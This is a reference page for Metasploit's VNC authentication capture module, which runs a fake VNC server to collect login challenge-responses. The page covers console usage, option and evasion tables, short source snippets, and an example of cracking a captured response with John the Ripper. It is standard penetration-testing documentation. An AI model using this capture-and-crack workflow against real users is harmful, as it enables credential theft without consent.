Authentication Capture: VNC - Metasploit


This page contains detailed information about how to use the auxiliary/server/capture/vnc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Authentication Capture: VNC
Module: auxiliary/server/capture/vnc
Source code: modules/auxiliary/server/capture/vnc.rb
Disclosure date: -
Last modification time: 2020-05-12 22:15:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module provides a fake VNC service that is designed to capture authentication credentials.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/server/capture/vnc
msf auxiliary(vnc) > show targets
    ... a list of targets ...
msf auxiliary(vnc) > set TARGET target-id
msf auxiliary(vnc) > show options
    ... show and set options ...
msf auxiliary(vnc) > exploit

Knowledge Base

This module creates a mock VNC server which accepts credentials. Upon receiving a login attempt, an Authentication failure error is thrown.

Verification Steps

  1. Start msfconsole
  2. Do: use auxiliary/server/capture/vnc
  3. Do: run

Options

CHALLENGE

The 16 byte challenge used in the authentication. Default is 00112233445566778899aabbccddeeff.

JOHNPWFILE

Write a file containing a John the Ripper format for cracking the credentials. Default is ``.

SSL

Boolean if SSL should be used. Default is False.

SSLCert

File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically generated. Default is ``.

Scenarios

VNC with vncviewer and JTR Cracking

Server, Client:

msf5 > use auxiliary/server/capture/vnc 
msf5 auxiliary(server/capture/vnc) > use auxiliary/server/capture/vnc 
msf5 auxiliary(server/capture/vnc) > set johnpwfile /tmp/john
johnpwfile => /tmp/john
msf5 auxiliary(server/capture/vnc) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/vnc) > 
[*] Started service listener on 0.0.0.0:5900 
[*] Server started.

msf5 auxiliary(server/capture/vnc) > vncviewer 127.0.0.1
[*] exec: vncviewer 127.0.0.1

Connected to RFB server, using protocol version 3.7
Performing standard VNC authentication
Password: 
Authentication failure

[+] 127.0.0.1:40240 - Challenge: 00112233445566778899aabbccddeeff; Response: b7b9c87777661a7a2299733209bfdfce

John the Ripper (JTR) Cracker:

msf5 auxiliary(server/capture/vnc) > john /tmp/john_vnc
[*] exec: john /tmp/john_vnc

Using default input encoding: UTF-8
Loaded 1 password hash (VNC [DES 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (?)
1g 0:00:00:00 DONE 2/3 (2018-11-11 20:38) 25.00g/s 75.00p/s 75.00c/s 75.00C/s password
Use the "--show" option to display all of the cracked passwords reliably
Session completed

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Msfconsole Usage

Here is how the server/capture/vnc auxiliary module looks in the msfconsole:

msf6 > use auxiliary/server/capture/vnc

msf6 auxiliary(server/capture/vnc) > show info

       Name: Authentication Capture: VNC
     Module: auxiliary/server/capture/vnc
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Patrik Karlsson <[email protected]>

Available actions:
  Name     Description
  ----     -----------
  Capture  Run VNC capture server

Check supported:
  No

Basic options:
  Name        Current Setting                   Required  Description
  ----        ---------------                   --------  -----------
  CHALLENGE   00112233445566778899AABBCCDDEEFF  yes       The 16 byte challenge
  JOHNPWFILE                                    no        The prefix to the local filename to store the hashes in JOHN format
  SRVHOST     0.0.0.0                           yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT     5900                              yes       The local port to listen on.
  SSL         false                             no        Negotiate SSL for incoming connections
  SSLCert                                       no        Path to a custom SSL certificate (default is randomly generated)

Description:
  This module provides a fake VNC service that is designed to capture 
  authentication credentials.

Module Options

This is a complete list of options available in the server/capture/vnc auxiliary module:

msf6 auxiliary(server/capture/vnc) > show options

Module options (auxiliary/server/capture/vnc):

   Name        Current Setting                   Required  Description
   ----        ---------------                   --------  -----------
   CHALLENGE   00112233445566778899AABBCCDDEEFF  yes       The 16 byte challenge
   JOHNPWFILE                                    no        The prefix to the local filename to store the hashes in JOHN format
   SRVHOST     0.0.0.0                           yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT     5900                              yes       The local port to listen on.
   SSL         false                             no        Negotiate SSL for incoming connections
   SSLCert                                       no        Path to a custom SSL certificate (default is randomly generated)

Auxiliary action:

   Name     Description
   ----     -----------
   Capture  Run VNC capture server

Advanced Options

Here is a complete list of advanced options supported by the server/capture/vnc auxiliary module:

msf6 auxiliary(server/capture/vnc) > show advanced

Module advanced options (auxiliary/server/capture/vnc):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   ListenerComm                     no        The specific communication channel to use for this service
   SSLCipher                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression  false            no        Enable SSL/TLS-level compression
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the server/capture/vnc module can do:

msf6 auxiliary(server/capture/vnc) > show actions

Auxiliary actions:

   Name     Description
   ----     -----------
   Capture  Run VNC capture server

Evasion Options

Here is the full list of possible evasion options supported by the server/capture/vnc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(server/capture/vnc) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

CHALLENGE must be 32 characters, 0-9,A-F.

Here is a relevant code snippet related to the "CHALLENGE must be 32 characters, 0-9,A-F." error message:

36:	
37:	  def run
38:	    if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{32})$/
39:	      @challenge = [ datastore['CHALLENGE'] ].pack("H*")
40:	    else
41:	      fail_with(Failure::BadConfig, 'CHALLENGE must be 32 characters, 0-9,A-F.')
42:	    end
43:	    exploit()
44:	  end
45:	
46:	  def on_client_connect(c)

<PEER> - sectype not offered! <VALUE>

Here is a relevant code snippet related to the "<PEER> - sectype not offered! <VALUE>" error message:

127:	        fd.close
128:	      end
129:	    # we have got the protocol sorted out and have offered the VNC sectype (2)
130:	    elsif @state[c][:proto] == "003.007"
131:	      if ( data.unpack("C")[0] != 2 )
132:	        print_error("#{peer} - sectype not offered! #{data.unpack("H*")}")
133:	        c.close
134:	        return
135:	      end
136:	      @state[c][:chall] = @challenge
137:	      c.put @state[c][:chall]

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See Also

Check also the following modules related to this module:

Authors

Patrik Karlsson <patrik[at]cqure.net>

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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